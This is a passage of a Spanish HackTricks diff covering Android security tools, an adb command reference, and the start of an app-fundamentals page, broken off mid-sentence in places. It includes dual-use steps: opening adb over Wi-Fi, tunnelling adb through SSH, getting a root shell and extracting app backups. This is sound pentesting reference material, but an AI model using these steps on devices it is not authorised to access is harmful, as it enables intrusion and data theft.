StaCoAn es una herramienta **multiplataforma** que ayuda a desarrolladores, cazadores de errores y hackers éticos a realizar análisis de código estático en aplicaciones móviles\*.
|
||||
|
||||
El concepto es que arrastres y sueltes el archivo de tu aplicación móvil (un archivo .apk o .ipa) en la aplicación StaCoAn y generará un informe visual y portátil para ti. Puedes ajustar la configuración y las listas de palabras para obtener una experiencia personalizada.
|
||||
|
||||
Descarga la [última versión](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework)
|
||||
|
||||
AndroBugs Framework es un sistema de análisis de vulnerabilidades de Android que ayuda a desarrolladores o hackers a encontrar posibles vulnerabilidades de seguridad en aplicaciones de Android.\
|
||||
[Versiones para Windows](https://github.com/AndroBugs/AndroBugs\_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
androbugs.exe -f [APK file]
|
||||
```
|
||||
### [Androwarn](https://github.com/maaaaz/androwarn)
|
||||
|
||||
**Androwarn** es una herramienta cuyo objetivo principal es detectar y advertir al usuario sobre posibles comportamientos maliciosos desarrollados por una aplicación de Android.
|
||||
|
||||
La detección se realiza mediante el **análisis estático** del bytecode Dalvik de la aplicación, representado como **Smali**, con la biblioteca [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
Esta herramienta busca **comportamientos comunes de aplicaciones "malas"** como: exfiltración de identificadores de telefonía, interceptación de flujos de audio/video, modificación de datos PIM, ejecución de código arbitrario...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
### [MARA Framework](https://github.com/xtiankisutsa/MARA\_Framework)
|
||||
|
||||
![](<../../.gitbook/assets/image (81).png>)
|
||||
|
||||
**MARA** es un **F**ramework de **R**everse **E**ngineering y **A**nálisis de **A**plicaciones **M**óviles. Es una herramienta que reúne herramientas comúnmente utilizadas para el análisis y el reverse engineering de aplicaciones móviles, para ayudar en la prueba de aplicaciones móviles contra las amenazas de seguridad móvil de OWASP. Su objetivo es hacer que esta tarea sea más fácil y amigable para los desarrolladores de aplicaciones móviles y los profesionales de la seguridad.
|
||||
|
||||
Es capaz de:
|
||||
|
||||
* Extraer código Java y Smali utilizando diferentes herramientas
|
||||
* Analizar APKs utilizando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs\_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
* Extraer información privada del APK utilizando expresiones regulares.
|
||||
* Analizar el Manifiesto.
|
||||
* Analizar los dominios encontrados utilizando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) y [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
* Desofuscar APK a través de [apk-deguard.com](http://www.apk-deguard.com)
|
||||
|
||||
### Koodous
|
||||
|
||||
Útil para detectar malware: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales de errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
## Ofuscando/Desofuscando código
|
||||
|
||||
Tenga en cuenta que dependiendo del servicio y la configuración que utilice para ofuscar el código, los secretos pueden o no terminar ofuscados.
|
||||
|
||||
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
|
||||
|
||||
**ProGuard** es una herramienta de línea de comandos de código abierto que reduce, optimiza y ofusca el código Java. Es capaz de optimizar el bytecode y detectar y eliminar instrucciones no utilizadas. ProGuard es software libre y se distribuye bajo la Licencia Pública General de GNU, versión 2.
|
||||
|
||||
ProGuard se distribuye como parte del SDK de Android y se ejecuta al compilar la aplicación en modo de lanzamiento.
|
||||
|
||||
De: [https://en.wikipedia.org/wiki/ProGuard\_(software)](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Encuentra una guía paso a paso para desofuscar el apk en [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(De esa guía) La última vez que comprobamos, el modo de operación de Dexguard era:
|
||||
|
||||
* cargar un recurso como un InputStream;
|
||||
* alimentar el resultado a una clase que hereda de FilterInputStream para descifrarlo;
|
||||
* hacer alguna ofuscación inútil para perder unos minutos de tiempo de un reversor;
|
||||
* alimentar el resultado descifrado a un ZipInputStream para obtener un archivo DEX;
|
||||
* finalmente cargar el DEX resultante como un recurso utilizando el método `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
**DeGuard invierte el proceso de ofuscación realizado por las herramientas de ofuscación de Android. Esto permite numerosos análisis de seguridad, incluyendo la inspección de código y la predicción de bibliotecas.**
|
||||
|
||||
Puede cargar un APK ofuscado en su plataforma.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
Es un **desofuscador genérico de Android.** Simplify **ejecuta virtualmente una aplicación** para entender su comportamiento y luego **trata de optimizar el código** para que se comporte de manera idéntica pero sea más fácil de entender para un humano. Cada tipo de optimización es simple y genérico, por lo que no importa el tipo específico de ofuscación que se utilice.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD te da información sobre **cómo se hizo un APK**. Identifica muchos **compiladores**, **empaquetadores**, **ofuscadores** y otras cosas raras. Es [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android.
|
||||
|
||||
### Manual
|
||||
|
||||
[Lea este tutorial para aprender algunos trucos sobre **cómo revertir la ofuscación personalizada**](manual-deobfuscation.md)
|
||||
|
||||
## Laboratorios
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b es una máquina virtual de seguridad de Android basada en ubuntu-mate que incluye la colección de los últimos marcos, tutoriales y laboratorios de diferentes geeks y investigadores de seguridad para el análisis de malware y el reverse engineering.
|
||||
|
||||
### OWASP
|
||||
|
||||
{% embed url="https://github.com/OWASP/owasp-mstg%0Ahttps://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication" %}
|
||||
|
||||
### Repositorios de Git
|
||||
|
||||
[https://github.com/riddhi-shree/nullCommunity/tree/master/Android](https://github.com/riddhi-shree/nullCommunity/tree/master/Android)\
|
||||
[https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec)
|
||||
|
||||
## Referencias
|
||||
|
||||
Para obtener más información, visite:
|
||||
|
||||
* [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Es una gran lista de recursos
|
||||
* [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Curso rápido de Android
|
||||
* [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
|
||||
* [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
|
||||
## Para probar
|
||||
|
||||
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales de errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿o quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop
|
418
mobile-pentesting/android-app-pentesting/adb-commands.md
Normal file
418
mobile-pentesting/android-app-pentesting/adb-commands.md
Normal file
|
@ -0,0 +1,418 @@
|
|||
**Adb suele estar ubicado en:**
|
||||
```bash
|
||||
#Windows
|
||||
C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
||||
|
||||
#MacOS
|
||||
/Users/<username>/Library/Android/sdk/platform-tools/adb
|
||||
```
|
||||
# Conexión
|
||||
|
||||
## Connect to a device over Wi-Fi
|
||||
|
||||
## Conectar a un dispositivo a través de Wi-Fi
|
||||
|
||||
1. Connect the device to the same Wi-Fi network as your computer.
|
||||
2. Connect the device to your computer with a USB cable.
|
||||
3. Open a terminal and type:
|
||||
|
||||
```
|
||||
adb tcpip 5555
|
||||
```
|
||||
|
||||
4. Disconnect the USB cable from the device.
|
||||
5. Find the IP address of the device. For example, on the device, you can go to Settings > About phone > Status > IP address.
|
||||
6. Connect to the device using the IP address:
|
||||
|
||||
```
|
||||
adb connect <IP_ADDRESS>
|
||||
```
|
||||
|
||||
For example:
|
||||
|
||||
```
|
||||
adb connect 192.168.1.10
|
||||
```
|
||||
|
||||
7. You should now be connected to the device over Wi-Fi.
|
||||
|
||||
1. Conecte el dispositivo a la misma red Wi-Fi que su computadora.
|
||||
2. Conecte el dispositivo a su computadora con un cable USB.
|
||||
3. Abra una terminal y escriba:
|
||||
|
||||
```
|
||||
adb tcpip 5555
|
||||
```
|
||||
|
||||
4. Desconecte el cable USB del dispositivo.
|
||||
5. Encuentre la dirección IP del dispositivo. Por ejemplo, en el dispositivo, puede ir a Configuración> Acerca del teléfono> Estado> Dirección IP.
|
||||
6. Conéctese al dispositivo usando la dirección IP:
|
||||
|
||||
```
|
||||
adb connect <DIRECCIÓN_IP>
|
||||
```
|
||||
|
||||
Por ejemplo:
|
||||
|
||||
```
|
||||
adb connect 192.168.1.10
|
||||
```
|
||||
|
||||
7. Ahora debería estar conectado al dispositivo a través de Wi-Fi.
|
||||
```
|
||||
adb devices
|
||||
```
|
||||
Esto listará los dispositivos conectados; si aparece "_**no autorizado**_", esto significa que tienes que **desbloquear** tu **móvil** y **aceptar** la conexión.
|
||||
|
||||
Esto indica al dispositivo que debe iniciar un servidor adb en el puerto 5555:
|
||||
```
|
||||
adb tcpip 5555
|
||||
```
|
||||
Conéctese a esa dirección IP y ese puerto:
|
||||
```
|
||||
adb connect <IP>:<PORT>
|
||||
```
|
||||
Si obtienes un error como el siguiente en un software de Android virtual (como Genymotion):
|
||||
```
|
||||
adb server version (41) doesn't match this client (36); killing...
|
||||
```
|
||||
Es porque estás intentando conectarte a un servidor ADB con una versión diferente. Solo intenta encontrar el binario adb que está utilizando el software (ve a `C:\Program Files\Genymobile\Genymotion` y busca adb.exe)
|
||||
|
||||
## Varios dispositivos
|
||||
|
||||
Cuando encuentres **varios dispositivos conectados a tu máquina**, necesitarás **especificar en cuál** quieres ejecutar el comando adb.
|
||||
```bash
|
||||
adb devices
|
||||
List of devices attached
|
||||
10.10.10.247:42135 offline
|
||||
127.0.0.1:5555 device
|
||||
```
|
||||
|
||||
```bash
|
||||
adb -s 127.0.0.1:5555 shell
|
||||
x86_64:/ # whoami
|
||||
root
|
||||
```
|
||||
## Tunelización de Puertos
|
||||
|
||||
En caso de que el **puerto adb** solo sea **accesible** desde **localhost** en el dispositivo Android pero **tienes acceso a través de SSH**, puedes **reenviar el puerto 5555** y conectarte a través de adb:
|
||||
```bash
|
||||
ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222
|
||||
adb connect 127.0.0.1:5555
|
||||
```
|
||||
# Gestor de paquetes
|
||||
|
||||
## Instalar/Desinstalar
|
||||
|
||||
### adb install \[opción] \<ruta>
|
||||
```
|
||||
adb install test.apk
|
||||
```
|
||||
|
||||
```
|
||||
adb install -l test.apk forward lock application
|
||||
```
|
||||
|
||||
```
|
||||
adb install -r test.apk replace existing application
|
||||
```
|
||||
|
||||
```
|
||||
adb install -t test.apk allow test packages
|
||||
```
|
||||
|
||||
```
|
||||
adb install -s test.apk install application on sdcard
|
||||
```
|
||||
|
||||
```
|
||||
adb install -d test.apk allow version code downgrade
|
||||
```
|
||||
|
||||
```
|
||||
adb install -p test.apk partial application install
|
||||
```
|
||||
### adb uninstall \[opciones] \<PAQUETE>
|
||||
```
|
||||
adb uninstall com.test.app
|
||||
```
|
||||
|
||||
```
|
||||
adb uninstall -k com.test.app Keep the data and cache directories around after package removal.
|
||||
```
|
||||
## Paquetes
|
||||
|
||||
Muestra todos los paquetes, opcionalmente solo aquellos cuyo nombre de paquete contiene el texto en \<FILTER>.
|
||||
|
||||
### adb shell pm list packages \[opciones] \<FILTER-STR>
|
||||
```
|
||||
adb shell pm list packages <FILTER-STR>
|
||||
```
|
||||
|
||||
```
|
||||
adb shell pm list packages -f <FILTER-STR> #See their associated file.
|
||||
```
|
||||
|
||||
```
|
||||
adb shell pm list packages -d <FILTER-STR> #Filter to only show disabled packages.
|
||||
```
|
||||
|
||||
```
|
||||
adb shell pm list packages -e <FILTER-STR> #Filter to only show enabled packages.
|
||||
```
|
||||
|
||||
```
|
||||
adb shell pm list packages -s <FILTER-STR> #Filter to only show system packages.
|
||||
```
|
||||
|
||||
```
|
||||
adb shell pm list packages -3 <FILTER-STR> #Filter to only show third party packages.
|
||||
```
|
||||
|
||||
```
|
||||
adb shell pm list packages -i <FILTER-STR> #See the installer for the packages.
|
||||
```
|
||||
|
||||
```
|
||||
adb shell pm list packages -u <FILTER-STR> #Also include uninstalled packages.
|
||||
```
|
||||
|
||||
```
|
||||
adb shell pm list packages --user <USER_ID> <FILTER-STR> #The user space to query.
|
||||
```
|
||||
### adb shell pm path \<PAQUETE>
|
||||
|
||||
Imprime la ruta al APK del paquete dado.
|
||||
```
|
||||
adb shell pm path com.android.phone
|
||||
```
|
||||
### adb shell pm clear \<PAQUETE>
|
||||
|
||||
Elimina todos los datos asociados con un paquete.
|
||||
```
|
||||
adb shell pm clear com.test.abc
|
||||
```
|
||||
# Administrador de archivos
|
||||
|
||||
### adb pull \<remoto> \[local]
|
||||
|
||||
Descarga un archivo especificado desde un emulador/dispositivo a tu computadora.
|
||||
```
|
||||
adb pull /sdcard/demo.mp4 ./
|
||||
```
|
||||
### adb push \<local> \<remote>
|
||||
|
||||
Sube un archivo especificado desde tu computadora a un emulador/dispositivo.
|
||||
```
|
||||
adb push test.apk /sdcard
|
||||
```
|
||||
# Captura de pantalla/Grabación de pantalla
|
||||
|
||||
### adb shell screencap \<nombre_archivo>
|
||||
|
||||
Tomando una captura de pantalla de la pantalla del dispositivo.
|
||||
```
|
||||
adb shell screencap /sdcard/screen.png
|
||||
```
|
||||
### adb shell screenrecord \[opciones] \<nombre_archivo>
|
||||
|
||||
Graba la pantalla de dispositivos que ejecutan Android 4.4 (nivel de API 19) o superior.
|
||||
```
|
||||
adb shell screenrecord /sdcard/demo.mp4
|
||||
adb shell screenrecord --size <WIDTHxHEIGHT>
|
||||
adb shell screenrecord --bit-rate <RATE>
|
||||
adb shell screenrecord --time-limit <TIME> #Sets the maximum recording time, in seconds. The default and maximum value is 180 (3 minutes).
|
||||
adb shell screenrecord --rotate # Rotates 90 degrees
|
||||
adb shell screenrecord --verbose
|
||||
```
|
||||
(presione Ctrl-C para detener la grabación)
|
||||
|
||||
**Puede descargar los archivos (imágenes y videos) usando** _**adb pull**_
|
||||
|
||||
# Shell
|
||||
|
||||
### adb shell
|
||||
|
||||
Obtener una shell dentro del dispositivo
|
||||
```
|
||||
adb shell
|
||||
```
|
||||
### adb shell \<CMD>
|
||||
|
||||
Ejecuta un comando dentro del dispositivo.
|
||||
```
|
||||
adb shell ls
|
||||
```
|
||||
## pm
|
||||
|
||||
Los siguientes comandos se ejecutan dentro de una shell.
|
||||
```bash
|
||||
pm list packages #List installed packages
|
||||
pm path <package name> #Get the path to the apk file of tha package
|
||||
am start [<options>] #Start an activity. Whiout options you can see the help menu
|
||||
am startservice [<options>] #Start a service. Whiout options you can see the help menu
|
||||
am broadcast [<options>] #Send a broadcast. Whiout options you can see the help menu
|
||||
input [text|keyevent] #Send keystrokes to device
|
||||
```
|
||||
# Procesos
|
||||
|
||||
Si deseas obtener el PID del proceso de tu aplicación, puedes ejecutar:
|
||||
```
|
||||
adb shell ps
|
||||
```
|
||||
Y busca tu aplicación
|
||||
|
||||
O puedes hacer
|
||||
```
|
||||
adb shell pidof com.your.application
|
||||
```
|
||||
Y esto imprimirá el PID de la aplicación.
|
||||
```
|
||||
adb root
|
||||
```
|
||||
Reinicia el demonio adbd con permisos de root. Luego, debes conectarte nuevamente al servidor ADB y serás root (si está disponible).
|
||||
```
|
||||
adb sideload <update.zip>
|
||||
```
|
||||
Actualización/Restauración de paquetes Android update.zip.
|
||||
|
||||
# Registros
|
||||
|
||||
## Logcat
|
||||
|
||||
Para **filtrar los mensajes de solo una aplicación**, obtenga el PID de la aplicación y use grep (linux/macos) o findstr (windows) para filtrar la salida de logcat:
|
||||
```
|
||||
adb logcat | grep 4526
|
||||
adb logcat | findstr 4526
|
||||
```
|
||||
### adb logcat \[opción] \[especificaciones-de-filtro]
|
||||
```
|
||||
adb logcat
|
||||
```
|
||||
Notas: presiona Ctrl-C para detener el monitor
|
||||
```
|
||||
adb logcat *:V lowest priority, filter to only show Verbose level
|
||||
```
|
||||
|
||||
```
|
||||
adb logcat *:D filter to only show Debug level
|
||||
```
|
||||
|
||||
```
|
||||
adb logcat *:I filter to only show Info level
|
||||
```
|
||||
|
||||
```
|
||||
adb logcat *:W filter to only show Warning level
|
||||
```
|
||||
|
||||
```
|
||||
adb logcat *:E filter to only show Error level
|
||||
```
|
||||
|
||||
```
|
||||
adb logcat *:F filter to only show Fatal level
|
||||
```
|
||||
|
||||
```
|
||||
adb logcat *:S Silent, highest priority, on which nothing is ever printed
|
||||
```
|
||||
### adb logcat -b \<Buffer>
|
||||
|
||||
Muestra los registros del búfer especificado. Los búferes disponibles son:
|
||||
|
||||
- `main` : el búfer principal del sistema.
|
||||
- `radio` : el búfer de radio.
|
||||
- `events` : el búfer de eventos.
|
||||
- `system` : el búfer del sistema.
|
||||
- `crash` : el búfer de fallos.
|
||||
|
||||
Para ver los registros del búfer principal, simplemente ejecute `adb logcat`. Si desea ver los registros de otro búfer, use el parámetro `-b` seguido del nombre del búfer. Por ejemplo, para ver los registros del búfer de radio, ejecute `adb logcat -b radio`.
|
||||
```
|
||||
adb logcat -b radio View the buffer that contains radio/telephony related messages.
|
||||
```
|
||||
|
||||
```
|
||||
adb logcat -b event View the buffer containing events-related messages.
|
||||
```
|
||||
|
||||
```
|
||||
adb logcat -b main default
|
||||
```
|
||||
|
||||
```
|
||||
adb logcat -c Clears the entire log and exits.
|
||||
```
|
||||
|
||||
```
|
||||
adb logcat -d Dumps the log to the screen and exits.
|
||||
```
|
||||
|
||||
```
|
||||
adb logcat -f test.logs Writes log message output to test.logs .
|
||||
```
|
||||
|
||||
```
|
||||
adb logcat -g Prints the size of the specified log buffer and exits.
|
||||
```
|
||||
|
||||
```
|
||||
adb logcat -n <count> Sets the maximum number of rotated logs to <count>.
|
||||
```
|
||||
## dumpsys
|
||||
|
||||
dumps datos del sistema
|
||||
|
||||
### adb shell dumpsys \[opciones]
|
||||
```
|
||||
adb shell dumpsys
|
||||
```
|
||||
# adb shell dumpsys meminfo
|
||||
|
||||
Muestra información detallada sobre el uso de memoria de la aplicación. Esto incluye información sobre la memoria utilizada por la aplicación, la memoria compartida, la memoria asignada, la memoria libre, la memoria privada y la memoria gráfica. Esta información puede ser útil para identificar posibles fugas de memoria y optimizar el rendimiento de la aplicación.
|
||||
```
|
||||
adb shell dumpsys battery
|
||||
```
|
||||
Notas: Un dispositivo móvil con las Opciones de desarrollador habilitadas que ejecute Android 5.0 o superior.
|
||||
```
|
||||
adb shell dumpsys batterystats collects battery data from your device
|
||||
```
|
||||
Notas: [Battery Historian](https://github.com/google/battery-historian) convierte esos datos en una visualización HTML. **PASO 1** _adb shell dumpsys batterystats > batterystats.txt_ **PASO 2** _python historian.py batterystats.txt > batterystats.html_
|
||||
```
|
||||
adb shell dumpsys batterystats --reset erases old collection data
|
||||
```
|
||||
adb shell dumpsys activity
|
||||
|
||||
# Copia de seguridad
|
||||
|
||||
Realiza una copia de seguridad de un dispositivo Android desde adb.
|
||||
```bash
|
||||
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
|
||||
# -apk -- Include APK from Third partie's applications
|
||||
# -shared -- Include removable storage
|
||||
# -system -- Include system Applciations
|
||||
# -all -- Include all the applications
|
||||
|
||||
adb shell pm list packages -f -3 #List packages
|
||||
adb backup -f myapp_backup.ab -apk com.myapp # backup on one device
|
||||
adb restore myapp_backup.ab # restore to the same or any other device
|
||||
```
|
||||
Si deseas inspeccionar el contenido de la copia de seguridad:
|
||||
```bash
|
||||
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 myapp_backup.ab ) | tar xfvz -
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,357 @@
|
|||
# Fundamentos de Aplicaciones Android
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales sobre errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
## Modelo de Seguridad de Android
|
||||
|
||||
**Hay dos capas:**
|
||||
|
||||
* El **SO**, que mantiene las aplicaciones instaladas aisladas entre sí.
|
||||
* La **aplicación en sí**, que permite a los desarrolladores **exponer ciertas funcionalidades** y configurar las capacidades de la aplicación.
|
||||
|
||||
### Separación de UID
|
||||
|
||||
**A cada aplicación se le asigna un ID de usuario específico**. Esto se hace durante la instalación de la aplicación para que la aplicación solo pueda interactuar con archivos propiedad de su ID de usuario o archivos compartidos. Por lo tanto, solo la aplicación en sí, ciertos componentes del SO y el usuario root pueden acceder a los datos de las aplicaciones.
|
||||
|
||||
### Compartición de UID
|
||||
|
||||
**Dos aplicaciones pueden configurarse para usar el mismo UID**. Esto puede ser útil para compartir información, pero si una de ellas es comprometida, los datos de ambas aplicaciones serán comprometidos. Por eso este comportamiento está **desaconsejado**.\
|
||||
**Para compartir el mismo UID, las aplicaciones deben definir el mismo valor `android:sharedUserId` en sus manifiestos.**
|
||||
|
||||
### Aislamiento
|
||||
|
||||
El **Sandbox de Aplicaciones de Android** permite ejecutar **cada aplicación** como un **proceso separado bajo un ID de usuario separado**. Cada proceso tiene su propia máquina virtual, por lo que el código de una aplicación se ejecuta en aislamiento de otras aplicaciones.\
|
||||
A partir de Android 5.0(L), se aplica **SELinux**. Básicamente, SELinux deniega todas las interacciones de procesos y luego crea políticas para **permitir solo las interacciones esperadas entre ellos**.
|
||||
|
||||
### Permisos
|
||||
|
||||
Cuando se instala una **aplicación y solicita permisos**, la aplicación está solicitando los permisos configurados en los elementos **`uses-permission`** en el archivo **AndroidManifest.xml**. El elemento **uses-permission** indica el nombre del permiso solicitado dentro del **atributo name**. También tiene el atributo **maxSdkVersion** que deja de solicitar permisos en versiones superiores a la especificada.\
|
||||
Tenga en cuenta que las aplicaciones de Android no necesitan solicitar todos los permisos al principio, también pueden **solicitar permisos dinámicamente** pero todos los permisos deben ser **declarados** en el **manifiesto**.
|
||||
|
||||
Cuando una aplicación expone funcionalidad, puede limitar el **acceso solo a aplicaciones que tengan un permiso especificado**.\
|
||||
Un elemento de permiso tiene tres atributos:
|
||||
|
||||
* El **nombre** del permiso
|
||||
* El atributo **permission-group**, que permite agrupar permisos relacionados.
|
||||
* El **nivel de protección** que indica cómo se otorgan los permisos. Hay cuatro tipos:
|
||||
* **Normal**: Se utiliza cuando no hay **amenazas conocidas** para la aplicación. El usuario **no está obligado a aprobarlo**.
|
||||
* **Peligroso**: Indica que el permiso ot
|
||||
### Filtro de Intenciones
|
||||
|
||||
Un filtro de intenciones especifica los **tipos de Intenciones a los que una actividad, servicio o receptor de difusión puede responder**. Especifica lo que una actividad o servicio puede hacer y qué tipos de difusiones un receptor puede manejar. Permite que el componente correspondiente reciba Intenciones del tipo declarado. Los filtros de intenciones se definen típicamente a través del archivo AndroidManifest.xml. Para el **Receptor de difusión** también es posible definirlos en **código**. Un filtro de intenciones se define por su categoría, acción y filtros de datos. También puede contener metadatos adicionales.
|
||||
|
||||
En Android, una actividad/servicio/proveedor de contenido/receptor de difusión es **público** cuando **`exported`** se establece en **`true`**, pero un componente también es **público** si el **manifiesto especifica un filtro de intenciones** para él. Sin embargo, los desarrolladores pueden **hacer explícitamente privados los componentes** (independientemente de cualquier filtro de intenciones) estableciendo el atributo **`exported`** en **`false`** para cada componente en el archivo de manifiesto. Los desarrolladores también pueden establecer el atributo **`permission`** para **requerir un cierto permiso para acceder** al componente, restringiendo así el acceso al componente.
|
||||
|
||||
### Intenciones implícitas
|
||||
|
||||
Las intenciones se crean programáticamente utilizando un constructor de Intenciones:
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
La **Acción** del intent previamente declarado es **ACTION\_SEND** y el **Extra** es un **Uri** de correo electrónico (el Extra es la información adicional que el intent espera).
|
||||
|
||||
Este intent debe ser declarado dentro del manifiesto como en el siguiente ejemplo:
|
||||
```markup
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
